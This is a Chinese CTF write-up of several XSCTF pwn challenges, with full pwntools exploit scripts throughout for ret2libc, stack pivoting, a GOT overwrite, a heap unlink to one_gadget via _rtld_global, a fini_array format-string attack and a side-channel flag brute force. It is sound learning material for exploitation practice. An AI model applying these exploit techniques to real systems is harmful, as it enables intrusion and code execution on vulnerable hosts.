2023XSCTF热身赛 XSCTF2022 xsclub复现
有点逆天,保护除了canary都是绿的
前面有个base64,直接复制上去code就行
开了沙盒,禁了后门函数,关闭了标准输入和标准输出流,后面要改一下重定向,开了pie还要先泄露地址再rop,真的逆天啊。
基本上确定是ORW,直接ROP链构造shellcode?
注意这里是gets不能够逐字节绕过pie
会议回放 利用printf泄露pie
base64解码可以输入32字节,为了在后面继续输入点东西我们使用\x00截断,由于我们后续open会调用”flag”字符串的地址,所以我们要在这里写入“flag”,写完之后是这样”\x00flag\x00”共6个字节。那还剩下一个字节可以写读取我们的flag(flag{114514_1919810})的任何一个字符如”{“到此处进行比较
找到隐藏的syscallgadget,在main上面,上面东西越多,越有可能藏gadgets
此处侧信道使用宏观函数模拟微观汇编的功能
strcmp比较两个字符串,需要两个参数,返回这两个字符串的ASCII码差值给rax,这很方便我们syscall
我们再用原本函数给出的一个gadget片段来模拟cmp
最后的timeouts怎么去模拟呢?我们可以通过一些pause等函数来进入休眠状态来模拟。
我们用strcmp比较我们放在code最后一字节的我们写入的字符和我们open然后read到bss段上的flag,如果相同则返回0,这样就会跳到9A8执行ret,返回到pause。否则就会jmp rax程序报错。
如果我们接受timeout=0.25,就说明flag比对正确,输出flag。
我们一直执行,知道我们flag全部打印出来
如何泄露pie,我们可以看到在两个不同的libc版本,我们的rsi不同,20.04成功泄露,但是22.04不行,这是因为不同libc版本
这里是ubuntu20.04
这里是ubuntu22.04
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 from pwn import *import base64import signal context.arch = 'amd64' elf = ELF('club' ) def handler (signum, frame ): raise TimeoutError() def pwn (try_c, flag_len ): io = remote('43.248.98.206' , 10075 ) io.sendafter(' is XS-Club, your name?\n' , 'a' ) signal.signal(signal.SIGALRM, handler) signal.alarm(1 ) try : io.recvuntil('Okay, ' ) signal.alarm(0 ) signal.signal(signal.SIGALRM, signal.SIG_DFL) except : signal.alarm(0 ) signal.signal(signal.SIGALRM, signal.SIG_DFL) io.close() return False pie_base = u64(io.recv(6 ).ljust(8 , '\x00' )) - (0x561d75601161 - 0x561d75600000 ) strcmp_plt = pie_base + elf.plt['strcmp' ] read_plt = pie_base + elf.plt['read' ] read_got = pie_base + elf.got['read' ] pop_rdi = pie_base + 0x00000000000011a3 pop_rsi_r15 = pie_base + 0x00000000000011a1 syscall = pie_base + 0x00000000000009f5 set_rdx_10 = pie_base + 0x00000000000009f7 csu1 = pie_base + 0x000000000000119A csu2 = pie_base + 0x0000000000001180 bss_start = pie_base + 0x0000000000202020 flag_str_addr = pie_base + 0x000000000020207a try_chr_addr = pie_base + 0x000000000020207f target_chr_addr = bss_start + 0x300 set_rax_2 = flat([ pop_rdi, pie_base + 0x00000000000011E7 , pop_rsi_r15, pie_base + 0x00000000000015A0 , 0 , strcmp_plt ]) set_rax_0x22 = flat([ pop_rdi, pie_base + 0x00000000000011EF , pop_rsi_r15, pie_base + 0x00000000000015A0 , 0 , strcmp_plt ]) test_gadget = pie_base + 0x000000000000099B io.sendafter(' code\n' , flat([base64.b64decode('ZjFhZ3tYU0NURi0yMDIyLWdvLWdvLWdvfQ==' ), '\x00flag\x00' , try_c])) rop_chain = flat([ set_rax_2, pop_rdi, flag_str_addr, pop_rsi_r15, 0 , 0 , syscall, csu1, 0 , 1 , read_got, 0 , target_chr_addr, flag_len + 1 , csu2, 'a' * 56 , pop_rdi, try_chr_addr, pop_rsi_r15, target_chr_addr + flag_len, 0 , strcmp_plt, test_gadget, set_rax_0x22, syscall ]) if flag_len == 9 : rop_chain = flat([ set_rax_2, pop_rdi, flag_str_addr, pop_rsi_r15, 0 , 0 , syscall, pop_rdi, 0 , pop_rsi_r15, target_chr_addr, 0 , set_rdx_10, read_plt, pop_rdi, try_chr_addr, pop_rsi_r15, target_chr_addr + flag_len, 0 , strcmp_plt, test_gadget, set_rax_0x22, syscall ]) io.sendlineafter(' leave your phone number here\n' , flat({0x28 : rop_chain})) sleep(0.1 ) io.recvuntil('~\nNow you can join the club, go crazy!!! *\\(^o^)/*\n' ) try : io.recv(timeout = 0.25 ) io.close() return True except : io.close() return False table = 'abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?.' flag = '' t = time.time() while True : for c in table: if pwn(c, len (flag)): flag += c break if flag.endswith('}' ): success(flag) break else : info(flag) sleep(0.1 )
2023XSCTF 【新生专属】chatgpt ret2libc和strlen的绕过,strlen会根据b’\x00’截断字符串,来判断字符串长度,只要我们padding都是b’\x00’,那就无关紧要doge,这里也没有canary和pie保护,常规的ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *from LibcSearcher import LibcSearchercontext(log_level='debug' ,arch='amd64' ) p=process('./chatgpt' ) elf=ELF('chatgpt' ) pop_rdi=0x00401503 put_plt=elf.plt['puts' ] put_got=elf.got['puts' ] main_addr=elf.symbols['main' ] ret_addr = 0x401416 print ("put_plt:" ,hex (put_plt))print ("put_got:" ,hex (put_got))print ("main_addr:" ,hex (main_addr))print ("leak put_got addr and return to put_leak" )p.sendlineafter(b'your choice: \n' ,str (1 )) payload=b'\x00' *0x28 +p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(main_addr) p.sendline(payload) put_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) print ("puts_addr" ,hex (put_addr))libcbase = put_addr-0x084420 system_addr=libcbase+ 0x052290 binsh_addr=libcbase+0x1b45bd print ("libcbase =" ,hex (libcbase))print ("system_addr =" ,hex (system_addr))print ("binsh_addr =" ,hex (binsh_addr))p.sendlineafter(b'your choice: \n' ,str (1 )) payload2=b'\0' *0x28 +p64(ret_addr)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr) p.sendline(payload2) p.interactive()
【新生专属】babystack 第一个漏洞是读入int类型,进入函数的时候会转换成unsigned int类型,如果我们输入是-1,那就会转换成0XFFFFFFFF表示的10进制,这样就可以绕过判断。之后就是常规的ret2rip,如果遇到栈平衡的问题,可以在payload里面加一个p64(ret),或者返回到backdoor函数的后几个字节(主要是跳过puhs rbp)。
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(log_level='debug' ,arch='amd64' ) p=process('./babystack' ) ret=0x40124C p.sendline(str (-1 )) payload=b'a' *0x58 +p64(ret)+p64(0x4012b7 ) p.sendline(payload) p.interactive()
【新生专属】babypwn 其实开不开pie没什么影响
数组下界溢出修改got表
观察到数据写入到bss段,然后计算输入点和exit_got表的偏移,覆盖exit_got为backdoor后门函数,返回程序就可以getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='amd64' ) p=process('./babypwn' ) elf=ELF('./babypwn' ) backdoor=0x401330 BOSS=0X4040C0 puts_got=0x404018 exit_got=0x404058 p.sendline("xswlhhh" ) off=int ((exit_got-BOSS)/8 ) p.sendline(str (off)) payload=p64(backdoor) p.sendline(payload) p.interactive()
signin 1 和2 【复现】I_want_2_leave 0X1 分析 解题人:xswlhhh
解题的时候不小心重置快照,exp没保存又写一遍,之后又重写,调了好久才通了
这里它设置了一个global_canary。我们需要去泄露他,然后循环条件是v2<=0,我们要在栈上设置v2的数字并且泄露canary,这里有点讲究
我们本地测试canary.txt是8位的,p.send就可以泄露canary和rbp。事实上远程也是8位的,不过也可以一步一步来,先泄露canary,再来rbp。
1 2 payload=b'a' *0x40 +p32(0xFFFFFF66 )+b'bbbb' p.send(payload)
至于这里接收用什么这主要看你用什么数据,怎么去调整接收到的数据
这里我们上面说了,第一次就把canary和rbp给泄露了
我们看到藏了个system函数
而且它给的栈溢出空间太小了,只能覆盖到RBP和RET(rip),所以这里栈迁移到栈上,刚好”/bin/sh\x00”八字节,刚好住了pop了一个8的位置,而且地址也在栈顶
1 2 3 4 payload1=b"/bin/sh\x00" +p64(pop_rdi)+p64(stack)+p64(ret)+p64(0x401124 )+p64(0x401124 ) payload1=payload1.ljust(0x40 ,b'a' ) payload1+=p32(0x1 )+b'bbbb' +p64(canary) payload1+=p64(stack)+p64(leave_ret)
最后本地通了,貌似远程有问题?
0X3 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *context(log_level='debug' ,arch='amd64' ) p=process('./pwn' ) elf=ELF('./pwn' ) system_plt=elf.plt['system' ] system_got=0x404038 pop_rdi=0x4014d3 leave_ret=0x401469 ret=0x401432 payload=b'a' *0x40 +p32(0xFFFFFF66 )+b'bbbb' p.send(payload) p.recvuntil("bbbb" ) canary=u64(p.recv(8 ).rjust(8 ,b'0' )) print ("canary=" ,p64(canary))rbp=u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) stack=rbp-0x70 bin_sh=stack-0x20 print ("rbp=" ,hex (rbp))print ("stack=" ,hex (stack))print ("canary=" ,p64(canary))payload1=b"/bin/sh\x00" +p64(pop_rdi)+p64(stack)+p64(ret)+p64(0x401124 )+p64(0x401124 ) payload1=payload1.ljust(0x40 ,b'a' ) payload1+=p32(0x1 )+b'bbbb' +p64(canary) payload1+=p64(stack)+p64(leave_ret) p.sendline(payload1) p.interactive()
【复现】uheap 大佬出的题异构堆wp:https://pastebin.ubuntu.com/p/dqPRBSkdRJ/
【复现】how2heap 大佬出的题,完全不会,提醒着我不能停下学习了,加油!
0x1 分析 首先checksec 函数,没开pie,堆题常规保护
然后放进ida,菜单函数如下:
下面简述每个函数的功能:
add: 一共只能申请9个chunk,大小在0-0x160之间,将地址存到bss段,将size存在bss段,同时将bss段的heap_flag置1
delete: free 9个chunk的其中一个,并且会将堆指针置零,heap_flag设置为2(这样我们不能再申请)
edit: 不能修改前面7个chunk,也就是那7个chunk只能用来填充,而且heap_flag为1,我们才能edit,用的是bss上存的size,没有溢出。
show: heap_flag为1才能show,也就是没漏洞
backdoor114514 还有一个backdoor114514函数,漏洞就在这里,我们简单阐述一下:
只有chunk7(第8个chunk存在)才可能利用这个函数,一共分为两部分利用。
一、将chance置为1,同时分配一个0x20的chunk给buf指针
二、将chance置为2,向buf上读入0x20字节数据,这里造成了堆溢出,可以覆盖pre_size和size
(懂的都懂,就是不会构造,接下来跟着大佬wp来学习!)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int64 back () { unsigned __int64 result; result = (unsigned int )heap_8; if ( heap_8 ) { if ( chance ) { if ( chance != 1 ) exit (0 ); chance = 2 ; read (0 , buf, 0x20 uLL); result = (unsigned __int64)&puts; qword_404060 = (__int64)&puts; } else { chance = 1 ; result = (unsigned __int64)malloc (0x10 uLL); buf = (void *)result; } } return result; }
0x2 大佬思路总结 我们一共能申请9个chunk,前面7个chunk(0-6)肯定是用来填满tcache的,我们只有申请第八个chunk,才能调用漏洞函数,我们应该如何构造呢?
首先肯定是要分配8个相同大小chunk,然后调用漏洞函数,此时会有9个chunk(其中一个是0x20大小的chunk_bug)在我们程序里,这时候申请最后一个(第9个)chunk。
释放前面7个chunk填满tceche,由于我们BSS段上存有堆指针,我们只要劫持了BSS段就能够操作堆函数任意读写,我们通过伪造fakechunk来实现unlink,使指向chunk7的指针P,指向&P-0x18,这样就可以控制bss段上的chunk
然后泄露back114514的libc,通过覆盖exit_hook的后续函数来getshell
0x3 调试 首先肯定是要分配8个相同大小chunk,然后调用漏洞函数,此时会有9个chunk(其中一个是0x20大小的chunk_bug)在我们程序里,这时候申请最后一个(第9个)chunk。
此时堆布局如下
1 2 3 4 5 add (0xb0 ,b' xswlhhhaaaaaaaaaaaaaa' )#7 cmd (114514 ) # 7 _ & _ 8 add (0xb0 ,b'b bbbbbbbbbbbbbb' )#8 for i in range (7 ) : delete(str(i))
然后利用chunk_bug修改chunk8的pre和size。
1 2 3 4 5 cmd (114514 )payload=b' a' *0x10 payload+=p64 (0xd0 )+p64 (0xc0 ) p.sendline (payload) gdb.attach (p)
为了达到unlink效果,当然我们要在chunk7上面伪造一个chunk,那它fakechunk的fd和bk我们要给什么呢?
1 2 payload=p64 (0 )+p64 (0xd1 )+p64 (0x4040b8 -0x18 )+p64 (0x4040b8 -0x10 ) edit (7 ,payload)
我们知道在bss段上存储了堆的指针,我们是否可以利用这些指针当做fd和bk来绕过循环?
而且这些指针刚好指向data区,也就是我们fakechunk的pre_size区。
首先我们fake.FD设置成0x4040a0也就是让右边区域的0x125f7e0为bk指向fakechunk的pre_size,
然后我们fake.BK设置成0x4040a8也就是让右边区域的0x125f7e0为fd指向fakechunk的pre_size。
我们此时释放chunk8,chunk8会检查fake.FD指向的(0x4040b8-0x18)chunk的bk是否指向fake.pre
同时检查fake.BK指向的(0x4040b8-0x10)chunk的fd是否指向fake.pre
很显然我们这里是通过的,检查chunk8的标志位为0和pre_size=fake.size,触发向前合并操作(合并fake_chunk)。此时chunk3的首地址就是fakechunk,其fd和bk指针就是我们的p64(0x4040b8-0x18)+p64(0x4040b8-0x10)。
注意这里chunk8(第9chunk)free掉了,所以那里指针变成了0,chunk7指针本来指向chunk7,但是被unlink修改了(&Ptr-0x18)。
此时我们通过chunk7的write操作(chunk7_size=0xb0)就可以在bss段上布置堆指针和heap_flag给我们利用了。
1 2 3 payload=p64 (0 )*3 +p64 (0x404060 ) edit (7 ,payload)show (7 )
我们看看0x404060是哪里,它正好是back114514存储libc的地方,原来泄露libc是从这里泄露的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ld_base=libc_base+0x1f4000 _rtld_global=ld_base+ld.sym['_rtld_global' ] _dl_rtld_lock_recursive=_rtld_global+0xf08 _dl_rtld_unlock_recursive=_rtld_global+0xf10 execve = [0xe3afe , 0xe3b01 , 0xe3b04 ] for i in range (3 ): execve[i] += libc_base print ("dl_recursive" ,hex (_dl_rtld_lock_recursive))print ("one=" ,hex (execve[0 ]))payload=p64 (0 )*11 +p64 (_dl_rtld_lock_recursive) edit (7 ,payload)edit (7 ,p64 (execve[0 ]))p.sendline (b'6' )
接收完libc,我们就要算好我们要用的地址,覆盖exit_hook的后续调用函数(调用了 __rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive 。)为one_gadget来getshell
有关文章
我们可以用p _rtld_global,然后慢慢找到我们想要的函数
找到这两个函数了
然后退出函数即可getshell,这里本地没有getshell,到时候问问怎么回事
调试发现最后堆指针指向了这里,看来是ld和libc偏移变了,我们改一下就行了(Ubunutu20.04)
发现写错位置了,要15FF8+8=16000,很好终于通了
0x4 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import * context (log_level='debug' ,arch='amd64' ) p =process ('./heap' )elf=ELF ('./heap' ) libc=ELF ('./libc.so.6' ) ld=ELF ("./ld-linux-x86-64.so.2" ) #p=remote("43.248.97.200" ,40061) bss_flag=0x4040E0 def cmd (cho): p.sendlineafter ('please input your choice:' ,str (cho)) def add (size,content): cmd (1 ) p.sendlineafter ('size:' ,str (size)) p.sendlineafter ('content:' ,content) def show (idx): cmd (4 ) p.sendlineafter ('index:' ,str (idx)) def edit (idx,content): cmd (3 ) p.sendlineafter ("index:" ,str (idx)) p.sendafter ('new content:' ,content) def delete (idx): cmd (2 ) p.sendlineafter ("index:" ,str (idx)) for i in range (7 ): add (0xb0 ,b' /bin/sh\x00' ) add (0xb0 ,b' xswlhhhaaaaaaaaaaaaaa' )#7 cmd (114514 ) # 7 _ & _ 8 add (0xb0 ,b'b bbbbbbbbbbbbbb' )#8 for i in range (7 ): delete (str (i)) cmd (114514 )payload=b' a' *0x10 payload+=p64 (0xd0 )+p64 (0xc0 ) p.sendline (payload) #gdb.attach(p) payload=p64 (0 )+p64 (0xd1 )+p64 (0x4040b8 -0x18 )+p64 (0x4040b8 -0x10 ) edit (7 ,payload)delete (8 )payload=p64 (0 )*3 +p64 (0x404060 ) edit (7 ,payload)show (7 )puts_addr=u64 (p.recvuntil ('\x7f' )[-6 :].ljust (8 ,b' \x00' )) print ("puts_addr=" ,hex (puts_addr))libc_base=puts_addr-libc.symbols["puts" ] free_hook=libc_base+libc.symbols["__free_hook" ] system=libc_base+libc.symbols["system" ] ld_base=libc_base+0x1f4000 _rtld_global=ld_base+ld.sym['_rtld_global' ] _dl_rtld_lock_recursive=_rtld_global+0xf08 +0x16000 _dl_rtld_unlock_recursive=_rtld_global+0xf10 execve = [0xe3afe , 0xe3b01 , 0xe3b04 ] for i in range (3 ): execve[i] += libc_base print ("dl_recursive" ,hex (_dl_rtld_lock_recursive))print ("one=" ,hex (execve[0 ]))payload=p64 (0 )*11 +p64 (_dl_rtld_lock_recursive) edit (7 ,payload)edit (7 ,p64 (execve[0 ]))#gdb.attach(p) p.sendline (b'6' ) print ("dl_recursive" ,hex (_dl_rtld_lock_recursive))print ("one=" ,hex (execve[0 ]))p.interactive ()
【复现】guess 考点:TLS覆盖canary
【复现】easy_pwn 复现时间隔得有一个月了,太懒了,现在就来复现这个非栈上格式化字符串
程序只有个非栈上格式化字符串漏洞,而且只能使用两次,我们首先要修改这个次数限制。
0x2 调试 我们先看看我们的格式化字符串的偏移情况,可以看到偏移为6时(也就是nil数据),刚好到栈上
1 p.send(b' %p %p %p %p %p %p %p %p %p %p' )
随后验证%6$p刚好是nil,没问题,接下来我们看看栈上的一些指针链。好像也没有我们能够利用的rbp指针链。
所以这题我们试试修改exit的后续函数。我们跟随ret,来到这个地方调用exit。
用gdb调试main函数的时候,不难发现main的返回地址是__libc_start_main也就是说main并不是程序真正开始的地方,__libc_start_main的执行是在main的前面。
可以发现__libc_start_main函数的参数中,有3个是函数指针:
其中__libc_csu_fini是在main执行完毕后执行的
程序结束时会调用_fini_array指向的函数指针,所以我们将其修改为main的地址就会循环调用了
简单地说,在main函数后会调用.init段代码和.init_array段的函数数组中每一个函数指针。而我们的目标就是修改.fini_array数组的第一个元素为start。需要注意的是,这个数组的内容在再次从start开始执行后又会被修改,且程序可读取的字节数有限,因此需要一次性修改两个地址并且合理调整payload。
一种ROP攻击思路
所以这题我们的目的还是要改_fini_array,位于0x403e18-0x403e20的位置
我们注意到此处刚好就是这个_fini_array的位置
我们改它为我们的main函数地址,同时泄露libc地址和栈地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 p.recvuntil('Today the store is on sale, do you want to shop?' ) p.sendline('yes' ) ################## p.recvuntil("What do you want to buy?" ) p.sendline('G' ) p.send(b' %150 c%8 $hhn+%11 $p-%13 $p' ) gdb.attach(p) p.recvuntil("+0x" ) libc_main_start=int (p.recv(12 ).rjust(16 ,b'0' ),16 )-243 p.recvuntil("-0x" ) rbp=int (p.recv(12 ).rjust(16 ,b'0' ),16 )-0xe0 -0x18 print("libc_main:" ,hex(libc_main_start)) print("rbp:" ,hex(rbp))
1 2 3 4 p.recvuntil("What do you want to buy?" ) p.sendline('G' ) p.sendline(b"%" +str(ret1_1).encode()+b"c%13$hn" +b"%2c%29$h
当我们通过_fini__array进入main,我们ret之后会返回一个libc地址,很遗憾这个libc地址和one_gadget还是有点远的。但是我们可以通过下面的两个指针链分别修改两个字节和一个字节就可以达成改libc地址为one_gadget的效果
第二次执行main时,如图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 p.recvuntil('Today the store is on sale, do you want to shop?' ) p.sendline('yes' ) p.recvuntil("What do you want to buy?" ) p.sendline('G' ) print("libc_main:" ,hex(libc_main_start)) print("rbp:" ,hex(rbp)) print("libcbase" ,hex(libcbase)) print("ret1:" ,hex(ret1)) print("one0" ,hex(one0),hex(one[0 ])) gdb.attach(p) p.sendline(b' %'+str(one0_0).encode()+b"c%71$hhn%"+str(one0-one0_0).encode()+b"c%69$hn") p.recvuntil("What do you want to buy?") p.sendline(' G' )p.sendline("%p" )
之后改成功了
0X3 EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import* from LibcSearcher import LibcSearcher context (log_level='debug' ,arch='amd64' ) #p = remote('node4.buuoj.cn' ,29649) p=process('./pwn' ) elf=ELF('./pwn' ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) pop_rdi=0x00400c83 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main_addr=elf.symbols['main' ] mprotect_3=0x40127f ret = 0x4015B4 setone_offset=8 p.recvuntil('Today the store is on sale, do you want to shop?' ) p.sendline('yes' ) one=[0xe3afe ,0xe3b01 ,0xe3b04 ] ################## p.recvuntil("What do you want to buy?" ) p.sendline('G' ) p.send(b' %150 c%8 $hhn+%11 $p-%13 $p' ) p.recvuntil("+0x" ) libc_main_start=int (p.recv(12 ).rjust(16 ,b'0' ),16 )-243 libcbase=libc_main_start-0x23f90 p.recvuntil("-0x" ) rbp=int (p.recv(12 ).rjust(16 ,b'0' ),16 )-0xe0 -0x18 ret=rbp+8 print("libc_main:" ,hex(libc_main_start)) print("rbp:" ,hex(rbp)) print("libcbase" ,hex(libcbase)) for i in range(3 ): one[i]+=libcbase ret1=ret-0xe0 ret1_1=ret1 %0X10000 print("ret1:" ,hex(ret1)) one0=one[0 ]&0xffff one0_0=one[0 ]>>16 &0xff one1=one[1 ]&0xffff one2=one[2 ]&0xffff ###################### p.recvuntil("What do you want to buy?" ) p.sendline('G' ) p.sendline(b"%" +str(ret1_1).encode()+b"c%13$hn" +b"%2c%29$hn" ) ############################## FINI_ARRAY p.recvuntil('Today the store is on sale, do you want to shop?' ) p.sendline('yes' ) p.recvuntil("What do you want to buy?" ) p.sendline('G' ) print("libc_main:" ,hex(libc_main_start)) print("rbp:" ,hex(rbp)) print("libcbase" ,hex(libcbase)) print("ret1:" ,hex(ret1)) print("one0" ,hex(one0),hex(one[0 ])) #gdb.attach(p) p.sendline(b' %'+str(one0_0).encode()+b"c%71$hhn%"+str(one0-one0_0).encode()+b"c%69$hn") p.recvuntil("What do you want to buy?") p.sendline(' G' )p.sendline("%p" ) p.interactive()
0x4 小结 应用这两个链改三字节是没想到的,学习